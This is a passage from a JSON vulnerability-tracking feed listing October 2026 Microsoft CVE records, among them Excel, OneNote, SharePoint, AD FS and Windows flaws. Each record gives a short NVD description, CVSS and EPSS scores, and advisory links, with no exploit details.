Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.910Z","updatedAt":"2026-10-16T19:31:50.610Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2022","stacks":["Microsoft Windows","windows server 2022"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97789","asOf":"2026-10-16T19:31:50.610Z"},"epss":{"probability":0.00557,"percentile":0.46186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97789","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97789","type":"primary","publishedAt":"2026-10-13T19:22:16.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97789","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97788","cveId":"CVE-2026-97788","aliases":[],"kind":"vulnerability","title":"Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.","summary":"Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.","detail":"Observable discrepancy in Active Directory Federation Services (AD FS) allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.697Z","updatedAt":"2026-10-16T19:32:12.930Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97788","asOf":"2026-10-16T19:32:12.930Z"},"epss":{"probability":0.00876,"percentile":0.58741,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97788&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97788","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97788","type":"primary","publishedAt":"2026-10-13T19:22:16.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97788","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97788&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97788, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97787","cveId":"CVE-2026-97787","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.563Z","updatedAt":"2026-10-16T10:41:01.400Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97787","asOf":"2026-10-16T10:41:01.400Z"},"epss":{"probability":0.00214,"percentile":0.1166,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97787&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97787","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97787","type":"primary","publishedAt":"2026-10-13T19:22:16.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97787","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97787&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97787, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97783","cveId":"CVE-2026-97783","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a...","summary":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.443Z","updatedAt":"2026-10-21T17:21:02.260Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97783","asOf":"2026-10-21T17:21:02.260Z"},"epss":{"probability":0.00497,"percentile":0.42295,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97783&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97783","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97783","type":"primary","publishedAt":"2026-10-13T19:22:16.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97783","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97783&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97783, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97781","cveId":"CVE-2026-97781","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.","summary":"Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.","detail":"Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.197Z","updatedAt":"2026-10-16T15:17:38.370Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97781","asOf":"2026-10-16T15:17:38.370Z"},"epss":{"probability":0.0088,"percentile":0.58831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97781&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97781","type":"primary","publishedAt":"2026-10-13T19:22:16.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97781","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97781&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97781, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97780","cveId":"CVE-2026-97780","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:16.080Z","updatedAt":"2026-10-15T21:19:32.450Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97780","asOf":"2026-10-15T21:19:32.450Z"},"epss":{"probability":0.0082,"percentile":0.57003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97780&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97780","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97780","type":"primary","publishedAt":"2026-10-13T19:22:16.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97780","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97780&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97780, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97778","cveId":"CVE-2026-97778","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.830Z","updatedAt":"2026-10-15T21:19:32.187Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97778","asOf":"2026-10-15T21:19:32.187Z"},"epss":{"probability":0.00601,"percentile":0.48476,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97778","type":"primary","publishedAt":"2026-10-13T19:22:15.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97778","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97777","cveId":"CVE-2026-97777","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.710Z","updatedAt":"2026-10-15T21:19:32.050Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97777","asOf":"2026-10-15T21:19:32.050Z"},"epss":{"probability":0.00841,"percentile":0.57619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97777&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97777","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97777","type":"primary","publishedAt":"2026-10-13T19:22:15.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97777","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97777&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97777, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97776","cveId":"CVE-2026-97776","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.590Z","updatedAt":"2026-10-15T21:19:31.927Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97776","asOf":"2026-10-15T21:19:31.927Z"},"epss":{"probability":0.0082,"percentile":0.57004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97776","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97776","type":"primary","publishedAt":"2026-10-13T19:22:15.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97776","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97775","cveId":"CVE-2026-97775","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.463Z","updatedAt":"2026-10-15T21:19:31.807Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97775","asOf":"2026-10-15T21:19:31.807Z"},"epss":{"probability":0.00841,"percentile":0.57619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97775","type":"primary","publishedAt":"2026-10-13T19:22:15.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97775","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97774","cveId":"CVE-2026-97774","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.350Z","updatedAt":"2026-10-15T17:39:14.387Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97774","asOf":"2026-10-15T17:39:14.387Z"},"epss":{"probability":0.00181,"percentile":0.07633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97774","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97774","type":"primary","publishedAt":"2026-10-13T19:22:15.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97774","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97773","cveId":"CVE-2026-97773","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:15.227Z","updatedAt":"2026-10-15T21:19:31.620Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97773","asOf":"2026-10-15T21:19:31.620Z"},"epss":{"probability":0.00841,"percentile":0.57619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source 